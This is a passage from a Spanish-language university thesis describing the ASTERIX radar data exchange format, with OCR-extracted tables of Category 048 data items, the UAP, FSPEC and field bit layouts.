e Las categorias de datos de 128 a 240 estan reservadas para aplicaciones militares
especiales.

e Las categorias de datos de 241 a 255 son utilizadas tanto para aplicaciones civiles y
militares no estandar.

A modo de ejemplo a continuacion se detallardn las categorias que se han utilizado en
aviacion comercial a lo largo del tiempo:

e Categoria 001: Informacion de blancos radar desde una cabecera a un sistema de
proceso de datos radar.

e Categoria 002: Mensajes de Servicio Radar.
e Categoria 008: Informacion monoradar de blancos meteoroldgicos.
e Categoria 034: Nueva version de Categoria 002, SSR Modo S.

e Categoria 048: Nueva version de Categoria 001 y Categoria 016, SSR Modo S.
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25.1.2. Data Item y sus Catalogos

Un Data Item es la unidad méas pequefia de informacion definida y estandarizada para cada
categoria de datos. Para cada una de las categorias de datos se definen un conjunto de Data
Items, el cual se denomina Catalogo de Items de Datos.

Todas las aplicaciones que impliquen el intercambio de informacidn de una categoria de
datos dada, deberan hacer uso exclusivamente de los elementos de datos estandarizados en
estos catalogos.

A cada elemento de datos se le dara una referencia Unica que identifica de forma
inequivoca al mismo dentro del catdlogo correspondiente. La referencia simbdlica consiste
en una referencia de ocho caracteres de la forma Inn / AAA, donde:

e |:indica que esto representa un Item de Datos.

e nnn: es un nimero decimal de tres digitos que indica la categoria de datos a la que
pertenece este elemento de datos (000 a 255).

e AAA: es un numero decimal de tres digitos que indica el elemento de datos.

La Figura 25.3 muestra un fragmento de los Data items estandarizados para la Categoria
048. En la primera columna de la tabla se puede ver la referencia simbdlica de cada Data
Item.

Data Item Description System Units
Ref. No.

1048/010 | Data Source Identifier N.A.

1048/020 | Target Report Descriptor N.A.

1048/030 | Warning/Error Conditions N.A.

1048/040 | Measured Position in Slant Polar Co-ordinates | RHO: 1/256 NM
THETA: 360%(2 ')
1048/042 | Calculated Position in Cartesian Co-ordinates | X, Y: 1/128 NM

1048/050 | Mode-2 Code in Octal Representation N.A.
1048/055 | Mode-1 Code in Octal Representation N.A.
1048/060 | Mode-2 Code Confidence Indicator N.A.
1048/065 | Mode 1 Code Confidence Indicator N.A.
1048/070 | Mode-3/A Code in Octal Representation N.A.
1048/080 | Mode-3/A Code Confidence Indicator N.A.
1048/090 | Flight Level in Binary Representation 1/4 FL

Figura 25.3: Fragmento tabla Data Items categoria 048
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25.1.3. Data Field

Un Data Field es la implementacion fisica de un Data Items. A los efectos de la
comunicacion, los diversos Data Field se asignaran a los campos de datos, cada uno con
una longitud de un namero entero de octetos y referenciados por un nimero de referencia
de campo (FRN).

La correspondencia entre elementos de datos y campos de datos estara normalizado para
cada solicitud correspondiente por el perfil de aplicacion de Usuario (UAP) en relacion con
esta solicitud.

25.1.4. User Application Profile (UAP)

La UAP es el mecanismo por el cual la correspondencia entre los Data Items y los Data
Fields estara normalizado para cada uso de la estructura de los mensajes ASTERIX.

La UAP es una tabla de control vinculada al programa de empaquetado/desempaquetado
residente en los sistemas de procesamiento relevantes. En esencia, define cuales de los Data
Items catalogados seran utilizados, su longitud, su asignacién a los Data Fields y los
requisitos especificos que deben ser estandarizados para la correcta transmision e
interpretacion de los mensajes.

Cabe destacar que la UAP debe ser Unico para cada categoria. La Figura 25.4 muestra el
UAP estandar de Categoria 048.
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Length
FRN | Data ltem Data Item Description in Octets

1 1048/010 Data Source Identifier 2

2 1048/140 ITime-of-Day 3

3 1048/020 ITarget Report Descriptor 1+
4 1048/040 Measured Position in Slant Polar Coordinates 4

5 1048/070 Mode-3/A Code in Octal Representation 2

6 1048/090 Flight Level in Binary Representation 2
7 1048/130 Radar Plot Characteristics 1+1+
FX [na. Field Extension Indicator n.a.
8 1048/220 |Aircraft Address 3

9 1048/240 IAircraft Identification 6
10 [l048/250 Mode S MB Data 1+8*n
11 [I048/161 ITrack Number 2
12  [I048/042 Calculated Position in Cartesian Coordinates 4
13  1048/200 Calculated Track Velocity in Polar Representation 4
14  [I048/170 [Track Status 1+
FX [na. Field Extension Indicator n.a.
15 |1048/210 ITrack Quality 4
16  [l048/030 \Warning/Error Conditions 1+
17 |1048/080 Mode-3/A Code Confidence Indicator 2
18 [1048/100 Mode-C Code and Confidence Indicator 4
19 |1048/110 Height Measured by 3D Radar 2
20 |I048/120 Radial Doppler Speed 1+
21 |1048/230 Communications / ACAS Capability and Flight 2

Status

FX [na. Field Extension Indicator n.a.
22 |I048/260 IACAS Resolution Advisory Report 7
23 |l048/055 Mode-1 Code in Octal Representation 1
24  1048/050 Mode-2 Code in Octal Representation 2
25 |l048/065 Mode-1 Code Confidence Indicator 1
26 [1048/060 Mode-2 Code Confidence Indicator 2
27 |SP-Data Item |Special Purpose Field 1+1+
28 |RE-Data ltem |Reserved Expansion Field 1+1+
FX |na. Field Extension Indicator na.

Figura 25.4: UAP estandar de la Categoria 048
En la tabla de la figura anterior:

e La primera columna indica el nimero de referencia de campo (FRN) asociado a
cada Data Item de la categoria.

e Lasegunda columna indica cada Data Item de la categoria.
e Latercera columna es una descripcion de cada Data Item.

e En la cuarta columna se puede ver el largo en octetos de cada Data Item como asi
también el formato del mismo.
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25.2. ESTRUCTURA DEL MENSAJE

En esta seccion se detallard cada uno de los componentes que integran la estructura de un
mensaje ASTERIX.

25.2.1. Data Block

Data Block es una agrupacion de informacion que contiene uno 0 mas registros
pertenecientes a una misma categoria. EI mismo consiste en los siguientes elementos:

e Un octeto de datos denominado categoria (CAT) que indica a qué categoria
pertenecen los datos transmitidos.

e Un indicador de dos octetos de longitud (LEN) que indica la longitud total (en
octetos) del bloque de datos, incluyendo el CAT y el LEN.

e Uno o mas registros que contiene los datos de la misma categoria.

Cada registro es de longitud variable, pero alineado en un limite de octeto. La longitud de
un blogue de datos es por lo tanto variable, pero siempre serda un multiplo de un octeto.

El tamafio maximo de un bloque de datos serd de mutuo acuerdo entre las fuentes y
usuarios de datos.

La Figura 25.5 muestra el esquema de la estructura de un Data Block.

DATA DATA DATA DATA
ITEM (p) ITEM (q) ITEM (1) ITEM (s)
§
QDR DATA DATA DATA DATA
BREELS FIELD (1) FIELD (2) FIELD (3) FIELD (4)
RECORD
CAT LEN RECORD =1 RECORD =K
I octet 2 octets
« e >
DATA BLOCK

Figura 25.5: Estructura de un Data Block
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25.2.2. Record (Registro)

Es un conjunto ordenado de Data Fields de la misma categoria transmitidos dentro de un
Data Block. EI mismo esta precedido por el campo Field Specification (FSPEC), el cual
indica cuales son los Data Items presentes dentro del registro.

Cada registro debe contener los siguientes componentes:

Un campo de Field Specification (FSPEC) de longitud variable, considerada como
una tabla de contenidos en forma de una secuencia de bits, donde cada bit individual
sefiala la presencia (bit en uno) o ausencia (el bit se establece a cero) de los Data
Fields presentes en el registro.

Un namero variable de Data Fields. Cada uno de estos se asocia con uno y s6lo un
Data Item, tal como se define por el UAP.

La longitud de los Data Field puede ser fija o variable. A continuacion se detallaran las
posibilidades de longitud:

Longitud fija de Data Field: se compone de un ndmero fijo de octetos. La Figura
25.6 muestra dicha estructura.

Longitud extendida de Data Field: por ser de una longitud variable, debera contener
una parte primaria de una longitud predeterminada, seguido inmediatamente por una
serie de partes secundarias, cada una de longitud predeterminada. La presencia de la
siguiente parte secundaria se indicard mediante el ajuste a uno del bit menos
significativo (LSB) del ultimo octeto de la parte anterior. Este bit que esta reservado
para ese proposito se llama el Indicador de extension de campo (FX). Dicha
estructura se puede observar en la Figura 25.6.

Longitud explicita de Data Field: comienza con un indicador de longitud de un
octeto que da la longitud total del campo en octetos incluyendo el propio indicador
de longitud.

Data Field repetitivo: por ser de una longitud variable, comprenderd un campo de
indicador de repeticion de un octeto (REP) para sefialar la presencia de N sub-
campos consecutivos, cada uno de los mismos de longitud predeterminada. Dicha
estructura puede verse en la Figura 25.6.

Data Field compuesto: por ser de una longitud variable, se compondra de un
subcampo primario, seguido de los subcampos de datos. ElI subcampo primario
determina la presencia o ausencia de los subcampos de datos subsiguientes. Se
compone de una primera parte de un octeto extensible utilizando el mecanismo de
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extension de campo (FX). La estructura de dicho Data Field se puede observar en la
Figura 25.7.

Data Field de longitud fija: | n Octets

Data Field de longitud | k Octets| 1 i Octets | 1 i Octets | 0
extendida: L Ve ol S
-« < >
primary part secondaries
Data Field repetitivo: | REP=N| j Octets j Octets

\ 4

<+— N equal SUBFIELDS

one-octet repetition factor

Figura 25.6: Estructuras de los diferentes Data Fields

BAIGORRIA, Facundo. 36
BUCHAILLOT, Tomas.



Instituto Universitario Aeronautico
Trabajo Final de Grado

Subcampo Primario

oo bits-8/2 (SFn) =0 Ausencia del subcampo n
8|l 7|6 |5[4]3]2][1 .
=1 Precencia del subcampo n
SF1|SF2|SF3|SF4|SF5|SF6|SF7| FX ; S
bit-1 (FX) =0  Final del subcampo primario

=1 Extencién del subcampo primario en
un nuevo octeto

Subcampo de Datos Nro 1

Octet No.1 Octet No.2
16 ] 15 14]13[12|11|10|9 8 17 6|5|4|3|2|1

Item of Information 1

Subcampo de Datos Nro 7

Octet No.1
8|7|6|5|4|3|2[1

Iltem of Information 7

Figura 25.7: Estructura de Data Field compuesto

25.2.3. Order Field Sequencing (OFS)

La organizacion secuencial de los datos, u OFS por sus siglas en inglés, es el método
estandar que consiste en utilizar el FSPEC como una tabla de contenidos secuenciales en
forma de bits, donde cada bit indica la presencia o ausencia de un Data Field asignado.

El FSPEC es un nimero variable de Data Fields en orden creciente de FRN. La relacion
ente los bits del FSPEC, los Data Fields y los Data Items esta en el UAP. La Figura 25.8
muestra la estructura del FSPEC.

bit 1 | bit2 | bit3 | bit4 | bit5 [bit6 | bit7 | bit8 bit 9 | bit 10|bit 11| bit 12| bit 13bit 14| bit 15| bit 16
F1|F2 | F3|F4 | F5|F6| F7 |FX F8 | F9 |F10|F11|F12|F13| F14| FX| ....... ete

|=0 Ausencia de Data Field

F1 a F7: Indicador de preciencia de Data Field { L
|=1 Precencia de Data Field

FX: Indicador de extencion del FSPEC | =0 Ausencia de extencion del FSPEC
=1 Precencia de extencion del FSPEC

Figura 25.8: Estructura del FSPEC
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A modo de ejemplo la Figura 25.9 muestra un FSPEC multi-octeto.

FI'F|E|F |F|E|E | F|E [F|E |F|E|E . ¥|F|F|E|E|F| F|F|F|E
01]02|03 [04[05 [06 (07| X |08 (091011 |12|13|14 [X [I5|16[17 |18 19 PO PI X

DATA DATA pata | T DATA
1101010/ (1101011 (0] 11000 1111101010110 11010 | gn 1y | FiELD (5) | FIELD (9) FIELD (20)

FSPEC

A

»
* RECORD

A

Figura 25.9: Ejemplo de un FSPEC multi-octeto

25.3. DESCRIPCION DE LA CATEGORIA 048

En las secciones a continuacion se describe la estructura del mensaje para informes de
objetivos monoradar, que van desde una estacion radar (radar primario, radar secundario,
monopulso 0 modo S) a un centro de operaciones donde se procesaran los datos.

25.4. DESCRIPCION DE ITEMS DE DATOS ESTANDAR DE LA
CATEGORIA 048

En este apartado se describiran cada uno de los Data Items pertenecientes a la categoria
048.

25.4.1. Item 1048/010, Data Source Identifier

El Data Source Identifier es la identificacion de la estacion de radar desde la cual la
informacion es recibida. Posee un tamafio de dos octetos (16 bits) y debe estar presente en
todos los paquetes ASTERIX. La estructura del Data item se puede ver en la Figura 25.10.

Octet no. 1 Octetno. 2
1616|1413 |12|11 (10| 9 | 8 | F |6 | 5|43 |21

SAC sic
bits-16/9  (SAC) System Area Code
bits-8/1 (SIC) System Identification Code

Figura 25.10: Estructura del Data Source Identifier

25.4.2. Item 1048/020, Target Report Descriptor

El Target Report Descriptor especifica el tipo y las propiedades del target report. EI tamafio
del data item es variable, ya que estd compuesto por una primera parte de un octeto y una
segunda parte (si es necesaria) de otro octeto. La estructura de la primera parte es la se
puede ver en la Figura 25.11.
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Octet no. 1
8‘?‘8 504|321

TYP SIM |[RDP| SPI | RAB | FX

bFls—B 16 (TYP) =000 No detection
=001 Single PSR detection
=010 Single SSR detection
=011 SSR + PSR detection
100  Single ModeS All-Call
101  Single ModeS Roll-Call
110 ModesS All-Call + PSR
111 ModeS Roll-Call +PSR

bit-5 (SIM) =0 Actual target report
=1 Simulated target report
bit-4 (RDP) =0 Report from RDP Chain 1
=1 Report from RDP Chain 2
bit-3 (SP1) =0 Absence of SPI
=1 Special Position
Identification
bit-2 (RAB) =0 Report from aircraft
transponder
=1 Report from field monitor
(fixed transponder)
bit-1 (FX) 0 End of Data ltem

1 Extension into first extent

Figura 25.11: Primera parte del Target Report Descriptor.

La estructura del segundo octeto opcional se puede ver en la Figura 25.12.
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Octet no. 1
8| 7|6 |5 |4|3]2]|1
TST| 0 | 0 |ME| MI |[FOEIFRI| FX
bit-8 (TST) =0 Real target report
=1 Test target report
bits-7/6 (spare) spare bits set to zero
bit-3 (ME) =0 No military emergency
=1 Military emergency
bit-4 (M) =0 No military
identification
=1 Military identification
bits-3/2 (FOE/FRI) =00 No Mode 4
interrogation
=01 Friendly target
=10 Unknown target
=11 No reply
bit-1 (FX) =0 End of Data ltem
=1 Extension into next extent

Figura 25.12: Segunda parte del Target Report Descriptor.

25.4.3. Item 1048/030, Warning/Error Conditions

Este data item es utilizado cuando una condicién de error/advertencia es detectada por la
estacion de radar, para el target report involucrado. Posee una longitud variable que varia
de 1 a N octetos, dependiendo cuantos sean necesarios. La figura 25.13 muestra la
estructura del mismo.

Octet no. 1
876541321

WIE Value FX
bits-8/2 (W/E Value) Warning/error condition value
bit-1 (FX) =0 End of Data Item
=1 Extension into first extent
(next W/E condition
value)

Figura 25.13: Estructura del Warning/Error Conditions

En la Figura 25.14 se representa una tabla con los cddigos de errores y su descripcion
correspondiente. Cabe destacar que cuando el codigo es 0, es decir los primeros 7 bits son
0, significa que no hay warnings ni errores.
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Warning/Error Description
Code

Mot defined; never used.

Multipath Reply (Reflection)

Reply due to sidelobe interrogation/reception
Split plot

Second time around reply

Angel

Slow moving target correlated with road infrastructure (terrestrial vehicle)
Fixed PSR plot

Slow PSR target

Low quality PSR plot

Phantom SSR plot

MNon-Matching Mode-3/A Code

= =l e B el G N 21 LS B =]

-
sy

12 Mode C code / Mode S altitude code abnormal value compared to the track
13 Target in Clutter Area

14 Maximum Doppler Response in Zero Filter

15 Transponder anomaly detected

16 Duplicated or lllegal Mode S Aircraft Address

17 Mode S error correction applied

18 Undecodable Mode C code / Mode S altitude code
19 Birds

20 Flock of Birds

21 Mode 1 was present in original reply

22 Mode 2 was present in original reply

23 Plot potentially caused by Wind Turbine

Figura 25.14: Tabla de los cddigos de errores

25.4.4. Item 1048/040, Measured Position in Polar Co-ordinates

Este data item representa la medicion de posicion de una aeronave en coordenadas polares
con respecto al radar. Posee una longitud de 4 octetos y debe ser enviado cuando se detecta
una aeronave en nuestro espacio aéreo. La estructura del data item se muestra en la Figura
25.15.

Octet no. 1 Octet no. 2
32(31(30]29 |28 |27|26]25|24 |23 22|21 |20[ 19| 18] 17
RHO LSB
Octet no. 3 Octet no. 4
16| 15[ 14| 13[12[ 11| 10[ o[ 8| 7| 6| 5[ 4| 3| 2] 1
THETA LSB
bit-17 (LSB) = 1/256 NM.

Max. range = 256 NM

bit-1 (LSB)

3607 2"° = approx. 0.0055°

Figura 25.15: Estructura del Data Item Measured Position in Polar Co-ordinates

25.4.5. Item 1048/042, Calculated Position in Cartesian Co-ordinates

Con este data item obtenemos la posicion en coordenadas cartesianas de una aeronave. La
longitud es de 4 octetos y el data item es opcional. En la Figura 25.16 podemos ver la
estructura del mismo.
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Octet no. 1 Octet no. 2
32|31|30|29|28|27|26|25(24(23|22|21]|20|19]|18 |17

X-Component LSB

Octet no. 3 Octet no. 4
16|15 14|13 |12|11|10| 9 |8 |7 |6 | 5|4 | 3|21

Y-Component LSB

bit-17 (LSB) = 1/128 NM
Max. range = £256 NM

bit-1 (LSB) = 1/128 NM
Max. range =+256 NM

Figura 25.16: Estructura del Data Item Calculated Position in Cartesian Co-ordinates

25.4.6. Item 1048/050, Mode-2 Code in Octal Representation

Con este data item podemos responder cuando se nos interroga en Modo-2. Posee una
longitud de 2 octetos y es opcional. Este data item debe ser enviado cuando el Modo-2 esta
presente (representa el codigo para el plot) o cuando el Modo-2 esta ausente y se realiza un
local tracking (en este caso debemos utilizar el bit L en 1). La estructura se muestra en la
Figura 25.17.

QOctet no. 1 Octet no. 2
16151413 12({11[10| 9| 8| 7| 6| 5| 4| 3| 2| 1
V|G|L|]0o|A4 A2 A1 B4 B2 Bl C4 C2 C1 D4 D2 DI
bit-16 V) = 0 Code validated

= 1 Code not validated
bit-15 (G) = 0 Default
= 1 Garbled code
bit-14 (L) = 0 Mode-2 code as derived from
the reply of the transponder
= 1 Smoothed Mode-2 code as
provided by a local tracker
bit-13 Spare bit setto 0
bits-12/1 Mode-2 code in octal
representation

Figura 25.17: Estructura del Data Item Mode-2 Code in Octal Representation
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25.4.7. Item 1048/055, Mode-1 Code in Octal Representation

Con este data item podemos responder cuando se nos interroga en Modo-1. Posee una
longitud de 1 octetos y es opcional. Este data item debe ser enviado cuando el Modo-1 esta
presente (representa el codigo para el plot) o cuando el Modo-1 esté ausente y se realiza un
local tracking (en este caso debemos utilizar el bit L en 1). La estructura se muestra en la
Figura 25.18.

Octet no. 1
8|7]|6|5|4|32]1

VG| L |A4|A2]|A1]|B2]|B1

bit-8 \) =0 Code validated

=1 Code not validated
bit-7 G) 0 Default
1 Garbled Code

bit-6 (L) =0 Mode-1 code as derived from
the reply of the transponder.
=1 Smoothed Mode-1 code as
provided by a local tracker.

bits-5/1 Mode-1 code

Figura 25.18: Estructura del Data Item Mode-1 Code in Octal Representation

25.4.8. Item 1048/060, Mode-2 Code Confidence Indicator

Este data item representa el nivel de confianza para cada bit de una respuesta a Modo-2
dada por una estaciéon monopulso SSR. Posee una longitud de 2 octetos y es opcional. La
estructura del mismo se muestra en la Figura 25.19.

Octet no. 1 Octet no. 2
1615|1413 [12|11|10| 9 | 8| 7|6 | 5|43 ]| 2] 1

01 0] 0] 0 |QA4 QAZ QA1 QB4 QB2 QB1 QC4 QC2 QC1 QD4 QD2 QD1

bits-16/13 Spare bits set to 0

bits-12/1  (QXi) 0 High quality pulse Xi

1 Low quality pulse Xi
Figura 25.19: Estructura del Data Item Mode-2 Code Confidence Indicator
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25.4.9. Item 1048/065, Mode-1 Code Confidence Indicator

Este data item representa el nivel de confianza para cada bit de una respuesta a Modo-1
dada por una estacion monopulso SSR. Posee una longitud de 1 octetos y es opcional. La
Figura 25.20 muestra dicha estructura.

Octet no. 1
8| 7|6|5|43|2]1

0 | 0 | 0 |QA4|QA2|QA1(QBZ|QB1

bits-8/6 Spare bits set to zero

bits-5/1 (QXi) 0 High quality pulse Xi

1 Low quality pulse Xi

Figura 25.20: Estructura del Data Item Mode-1 Code Confidence Indicator

25.4.10. Item 1048/070, Mode-3/A Code in Octal Representation

Este data item representa el cddigo en Modo-3/A convertido a una representacién octal.
Posee una longitud de2 octetos y es obligatorio cuando el Modo-3/A es presente. Cuando el
Modo-3/A es ausente, se debe enviar con el bit L en 1. La estructura del mismo se puede
ver en la Figura 25.21.

Octet no. 1 Octet no. 2
16( 15| 141 13|12|(11|10] 9| 8| 7| 6 5| 4| 3| 2| 1
V|G|L|0O|A4 A2 A1 B4 B2 B1 C4 C2 C1 D4 D2 DI
bit-16 ) =0 Code validated
=1 Code not validated
bit-15 (G) =0 Default
=1 Garbled code
bit-14 (L) =0 Mode-3/A code derived
from the reply of the
transponder
=1 Mode-3/A code not
extracted during the last
scan
bit-13 Spare bit set to 0
bits-12/1 Mode-3/A reply in octal
representation

Figura 25.21: Estructura de Data Item Mode-3/A Code in Octal Representation

25.4.11. Item 1048/080, Mode-3/A Code Confidence Indicator

Este data item representa el nivel de confianza para cada bit de una respuesta a Modo-3/A
dada por una estacion monopulso SSR. Posee una longitud de2 octetos y es opcional. La
estructura se muestra en la Figura 25.22.
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Octet no. 1 Octet no. 2
16| 15 14| 13|12|11|10( 9| 8| 7| 6| 5| 4| 3| 2| 1

0] 0] 0| 0 |QA4QA2 QA1 QB4 QB2 QB1 QC4 QC2 QC1 QD4 QD2 QD1

bits-16/13 Spare bits set to 0

bits-12/1 (QXi) 0] High quality pulse Xi

1 Low quality pulse Xi

Figura 25.22: Estructura del Data Item Mode-3/A Code Confidence Indicator

25.4.12. Item 1048/090, Flight Level in Binary Represantation

Con este data item podemos obtener el nivel de vuelo convertido en binario. Posee una
longitud de 2 octetos y debe ser enviado cuando el cddigo de altitud en Modo-C o en
Modo-S esté presente y es decodificable, para representar el nivel de vuelo del plot incluso
si esta asociado con un track. La Figura 25.23 muestra la estructura del mismo.

Octet no. 1 Octet no. 2

16| 15[ 14 13|12|11|10( 9| 8| 7| 6| 5| 4| 3| 2| 1

v]ac Flight Level LSB
bit-16 ) =0 Code validated
= 1 Code not validated
bit-15 (©)) = 0 Default
=1 Garbled code
bits-14/1  (Flight Level) LSB= 1/4 FL

Figura 25.23: Estructura del Data Item Flight Level in Binary Represantation

25.4.13. Item 1048/100, Mode-C Codea n Code Confidence Indicator

Este item representa el codigo en Modo-C (en notacion Gray) como es recibido del
transponder, junto con el nivel de confidencia de cada bit provisto por una estacién
MSSR/Modo-S. Posee una longitud de 4 octetos y es opcional. Es usado cuando se recibe
un coédigo en Modo-C que no es valido o indescifrable. La estructura del mismo se muestra
en la Figura 25.24.
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Octet no. 1 Octet no. 2
32(31|30]|29|28|27|26| 25|24 23| 22| 21| 20| 19| 18] 17

V|IG|o]0]Cl A1 C2 A2 C4 A4 B1 D1 B2 D2 B4 D4

Octet no. 3 Octet no. 4
16| 151 14131211101 9| 8| 7| 6| 5| 4| 3| 2| 1

0] 0] 0] 0 JQC1 QA1 QC2 QA2 QC4 QA4 QB1 QD1 QB2 QD2 QB4 QD4

bit-32 (\%)] =0 Code validated

=1 Code not validated
bit-31 (G) =0 Default

=1 Garbled code
bits-30/29 Spare bits set to 0
bits-28/17 Mode-C reply in Gray notation
bits-16/13 Spare bits set to 0

bits-12/1  (QXi) 0 High quality pulse Xi

1 Low quality pulse Xi

Figura 25.24: Estructura del Data Item Mode-C Codea n Code Confidence Indicator

25.4.14. Item 1048/110, Height Measured by a 3D Radar

Este data item representa la altura del target medida por un radar 3D. La altura debe usar el
nivel del mar como referencia 0. La longitud es de 2 octetos y es opcional. La estructura de
este data item se muestra en la Figura 25.25.

QOctet no.1 Octet no.2
16[15[14]13]12]11]J10]9[8f7]6[5[4]3]2]1
010 3D-Height LSB|
bits-16/15 Spare bits set to zero
bits-14/1 (3D-Height) 3D height, in binary

notation. Negative values
are expressed in two's
complement

LSB = 25 ft

Figura 25.25: Estructura del Data Item Height Measured by a 3D Radar

25.4.15. Item 1048/120, Radial Doppler Speed

Este data item representa la informacion del target report en velocidad Doppler. La
estructura de este campo es un poco mas compleja que los otros, ya que se compone de un
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subcampo principal y dependiendo sus valores, subcampos adicionales. ElI subcampo
principal posee la estructura que se muestra en la Figura 25.26.

Qctet no.1
8 7 6 5 4 3 2 1
CALI|RDS| 0 0 0 0 0 0
bit-8 (CAL) Subfield #1: Calculated
Doppler Speed
=0 Absence of Subfield #1
=1 Presence of Subfield #1
bit-7 (RDS) Subfield #2: Raw Doppler
Speed
=0 Absence of Subfield #2
=1 Presence of Subfield #2
bits-6/1 (Spare) Subfields #3/7: Spare
=0 Absence of Subfield
=1 Presence of Subfield

Figura 25.26: Estructura del Data Item Radial Doppler Speed

Con estos valores, vemos la presencia o ausencia de los préximos subcampos.

Estructura del subcampo “Velocidad Doppler Calculada’:

QOctet no.1 QOctet no. 2
|[16]15]14]13[12[11]J10]9|8]7]6]5[4]3]2]1]
LD 0 | CAL |LSE|
bit-16 (D) =0 Doppler speed is valid
=1 Doppler speed is doubtful
bits-15/11 (Spare) Fixed to zero
bits-10/1 (CAL) Calculated Doppler Speed,
coded in two's complement
LSB= 1 m/sec

Figura 25.27: Estructura del subcampo Velocidad Doppler Calculada

Estructura del subcampo “Velocidad Doppler sin procesar’:
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Octet no.1
[56 [ 55 [54[53][52]51]50]49]
| REP |

Qctet no.2 Qctet no.3
[48] 47 Ja6 a5 Jaa a3 a2 [41J4a0 309 3837363534 33 |
| DOP LSB|

Octet no.4 Octet no. 5
[32 31302028 [27 26252423 222120 [19[18 17|
| AMB LsH|

QOctet no.6 Octet no. 7
[16 1514131211098 7[6[5[4]3[2T1]
[ FRQ Lsg|

bits-56/49 (REP) Repetition Factor
bit-48/33 (DOP) Doppler Speed
LSB= 1 m/sec
bits-32/17 (AMB) Ambiguity Range
LSB= 1 m/sec
bits-16/1 (FRQ) Transmitter Frequency
LSB= 1 Mhz

Figura 25.28: Estructura del subcampo Velocidad Doppler sin procesar

25.4.16. Item 1048/130, Radar Plot Characteristics

Este data item nos brinda informacién adicional de la calidad del target report. Posee una
estructura compuesta, es decir, el primer octeto nos servirda de “indice” para saber que
representan los octetos siguientes. Esto implica que tiene una longitud variable. La
estructura del primer octeto (el octeto principal) se puede ver en la Figura 25.29.
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QOctet no.1
8 1 7 | 6 [ 6 | 4 ] 3 ] 2 | 1 |
[SRL | SRR | sam [ PRL | PAaM [ RPD [ APD | Fx ]

bit-8, octet1 (SRL) Subfield #1: SSR plot
runlength
=0 Absence of Subfield #1
=1 Presence of Subfield #1

bit-7, octet1 (SRR) Subfield #2: Number of
received replies for M{SSR)

=0 Absence of Subfield #2

=1 Presence of Subfield #2

bit-6, octet1 (SAM) Subfield #3: Amplitude of
received replies for M(SSR)
=0 Absence of Subfield #3
=1 Presence of Subfield #3

bit-5, octet1 (PRL) Subfield #4: PSR plot runlength
Absence of Subfield #4
Presence of Subfield #4

==

bit-4, octet1 (PAM) Subfield #5: PSR amplitude
=0 Absence of Subfield #5
=1 Presence of Subfield #5

bit-3, octet1 (RPD) Subfield #6: Difference in
Range between PSR and SSR
plot

Absence of Subfield #6
Presence of Subfield #6

=0

bit-2, octet1 (APD) Subfield #7: Difference in
Azimuth between PSR and
SSR plot

Absence of Subfield #7
Presence of Subfield #7

nou
= o

bit-1, octet1 (FX) End of Primary Subfield
Extension of Primary Subfield

into next octet

|
=

Figura 25.29: Estructura del primer Octeto de Radar Plot Characteristics

Estructura del subcampo #1 “SSR plot runlength”:

Octet no.1
[] 7165 a]al2]1]
| SRL LSB|

bits-8/1 (SRL) SSR plot runlength, expressed as a
positive binary value.
LSB=360/2 "* dg (0.044 dg)

Figura 25.30: Estructura del subcampo #1 SSR plot runlength

El rango total cubierto en este campo es de 0 a 11.21 grados.
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Estructura del subcampo #2 “Number of received replies for M(SSR) ”:

Octet no.1
[8l7]6]5]4]3f2]1
[ SRR LS_B|
bits-8/1 (SRR) Number of received replies for
(M)SSR
LSB=1

Figura 25.31: Estructura del subcampo #2 Number of received replies for M(SSR)

Estructura del subcampo #3 “Amplitude of (M)SSR reply”’:

Octet no.1
| 81716 ls]4]3]27]1]
| SAM SB|

bits-8/1 (SAM) Amplitude of (M)SSR reply
LSB=1dBm

Figura 25.32: Estructura del subcampo #3 Amplitude of (M)SSR reply

Cabe destacar que los valores negativos estan codificados en complemento a 2.

Estructura del subcampo #4 “Primary Plot Runlength’’:

Octet no.1

|8 l7]elsfafs]a]i]
PRL LsB|

bits-8/1 (PRL) Primary Plot Runlength,
expressed as positive binary

value
LSB= 360/2 " dg (0.044 dg)

Figura 25.33: Estructura del subcampo #4 Primary Plot Runlength

El rango total cubierto en este campo es de 0 a 11.21 grados.

Estructura del subcampo #5 “Amplitude of Primary Plot”:

Octet no.1
543211
]

[eT7T6]
[ PAM LSB

bits-8/1 (PAM) Amplitude of Primary Plot
LSB= 1dBm

Figura 25.34: Estructura del subcampo #5 Amplitude of Primary Plot

Cabe destacar que los valores negativos estan codificados en complemento a 2.

50
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Estructura del subcampo #6 “Difference in Range between PSR and SSR plot”:

Octet no.1
| 8lrl6[sfa]sf2]1
| RPD [SB

bits-8/1 (RPD) Range (PSR-SSR)
LSB= 1/256 NM

Figura 25.35: Estructura del subcampo #6 Difference in Range

Cabe destacar que los valores negativos estan codificados en complemento a 2. Ademas, la
diferencia de rango cubierta es de +/- 0.5NM. Si enviamos el valor méximo estaremos
representando que el rango es mayor o igual al méaximo valor.

Estructura de subcampo #7 “Difference in Azimuth between PSR and SSR plot”:

Octet no.1
|sl7]efs]af3f2]1]
[ APD LSB|

bits-8/1 (APD) Azimuth (PSR-SSR)
LSB= 360/2" dg

Figura 25.36: Estructura de subcampo #7 Difference in Azimuth

Cabe destacar que los valores negativos estan codificados en complemento a 2. Ademas, la
diferencia de azimuth cubierta es de +/-360/27 = +/- 2.8125 grados.

25.4.17. Item 1048/140, Time of Day

Este data item representa el sellado del tiempo absoluto expresado como UTC (Co-
ordinated Universal Time). Posee una longitud de 3 octetos y es obligatorio en todos los
paquetes ASTERIX. Debe reflejar el tiempo exacto de un evento. La estructura del mismo
se puede ver en la Figura 25.37.

Octet no. 1 Octet no. 2
24 1232221201918 1716 ]15]14]13[12[11[10] 9
Time-of-Day
Octet no. 3
gl7]le6]s5]4]3]2]1
LSB

bits-24/1 (Time-of-Day) Acceptable Range of values:
0O<= Time-of-Day<=24 hrs
bit-1 (LSB) =2 " seconds = 1/128 seconds

Figura 25.37: Estructura del Data Item Time of Day

25.4.18. Item 1048/161, Track Number

El track number es un valor entero que representa un equivocamente la referencia a un
track record en un track file en particular. Posee una longitud de 2 octetos y debe ser
enviado cuando la estacion de radar trackea. La estructura se muestra en la Figura 25.38.
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Octet no. 1 Octet no. 2
1611514113 |12|11]10] 9 ) 8| 7| 6| 5| 4| 3| 2] 1

ojojo 0 TRACK NUMBER (0..4085)

Figura 25.38: Estructura del Data Item Track Number

25.4.19. Item 1048/170, Track Status

Este data item representa el estado del track monoradar (PSR y/o SSR actualizado). Posee
una longitud variable de 1 a 2 octetos (el segundo octeto solo cuando sea necesario). La
estructura del primer octeto se muestra en la Figura 25.39.

Octet no.1
B 7 ] 6 5 a 3 | 2 7
CNFE RAD Dou MAH CDM FX
bit-8 (CNF) Confirmed vs. Tentative Track

